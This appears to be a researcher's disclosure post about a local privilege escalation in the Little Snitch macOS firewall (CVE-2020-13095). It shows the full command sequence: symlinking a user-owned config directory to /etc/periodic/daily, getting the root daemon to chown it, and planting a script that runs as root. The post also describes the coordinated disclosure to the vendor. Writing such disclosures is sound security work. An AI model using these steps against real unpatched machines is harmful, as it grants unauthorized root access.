Little Snitch is one of the most popular firewall solutions for macOS. Whenever an applications attempts to establish a network connection, Little Snitch will present a dialog to the user asking the allow/deny this specific connection for this program.
The following image shows a sample dialogue from Little Snitch:
During my research on ExpressVPN I noticed that Little Snitch seems vulnerable to a very similar issue. If you already read that post this one will sound very familiar. Just like ExpressVPN, Little Snitch runs as various processes with different privileges:
running as | process ------------------------------- user | Little Snitch Network Monitor user | Little Snitch Helper user | Little Snitch Agent root | Little Snitch Daemon kernel | at.obdev.nke.LittleSnitch
When the user interacts with the user-interface it tasks the daemon to execute actions that require high privileges. One of these actions is stopping and starting the network filter. While restarting the filter the program stores an encrypted version of configuration file.
The flow for storing the configuration file is as follows.
~/Library/Application Support/Little Snitchto the current user
~/Library/Application Support/Little Snitch/configuration4.user.tmp
~/Library/Application Support/Little Snitch/configuration4.user.xpl
The vulnerability lies in the fact that the daemon is running as root but is working in the home directory of the current user. Specifically, the parent directory for
~/Library/Application Support, is owned by the current user:
$ ls -al ~/Library/ | grep "Application Support" drwx------+ 98 user staff 3136 May 13 16:46 Application Support
A malicious user could move the entire folder and symlink the directory somewhere else.
Attempting to understand the vulnerability better I started reversing the binary. I quickly gave up on this, as the binary employs various anti-reversing and anti-debugging techniques. Instead I decided it would be quicker to exploit it dynamically by looking at the program's behaviour without understanding all the details.
However, trying to exploit the vulnerability "blind" came with its own set of problems. Without a good understanding of the binary I had to make a lot of assumptions. These assumptions were not always correct and ended up causing some delays. For example, I assumed all five steps in the flow above are executed as root. But the binary actually drops its privileges for the last four. Only the first step is executed as root. This caused some extra work, but looking back it was still much faster than the alternative.
Moving on to the exploit. In this example Little Snitch was installed by a system administrator, but the current user is a standard user (not part of the admin group):
[email protected] ~ % id uid=502(nonadmin) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts), 399(com.apple.access_ssh),702(com.apple.sharepoint.group.2),701(com.apple.sharepoint.group.1), 100(_lpoperator)
The low privileged user prepares a malicious symlink in his own home directory:
% mv ~/Library/Application\ Support/Little\ Snitch \ ~/Library/Application\ Support/Little\ Snitch.bak % ln -s /etc/periodic/daily ~/Library/Application\ Support/Little\ Snitch
Now the user stops the network filter from the menu bar and start it again.
The daemon has now been tricked and created the file
chown()-ed the entire directory to the current user:
% ls -al /etc/periodic total 0 drwxr-xr-x 5 root wheel 160 Feb 29 07:44 . drwxr-xr-x 84 root wheel 2688 May 14 14:27 .. drwxr-xr-x 13 nonadmin wheel 416 May 14 14:44 daily
The user can now add a new periodic script that will be executed as root:
% cat >> /etc/periodic/daily/001.new << EOF id >> /tmp/poc.log EOF % chmod 755 /etc/periodic/daily/001.new
Now wait 24 hours for the task to be executed as root. Or cheat, and verify it works manually:
... login with admin account % sudo periodic daily % cat /tmp/poc.log uid=0(root) gid=0(wheel)..
I reported this issue on a Friday afternoon. I didn't expect an answer soon, but the same evening Objective Development confirmed the issue and already assigned a CVE number (CVE-2020-13095).
We agreed to wait with the publication of the details until users had time to upgrade.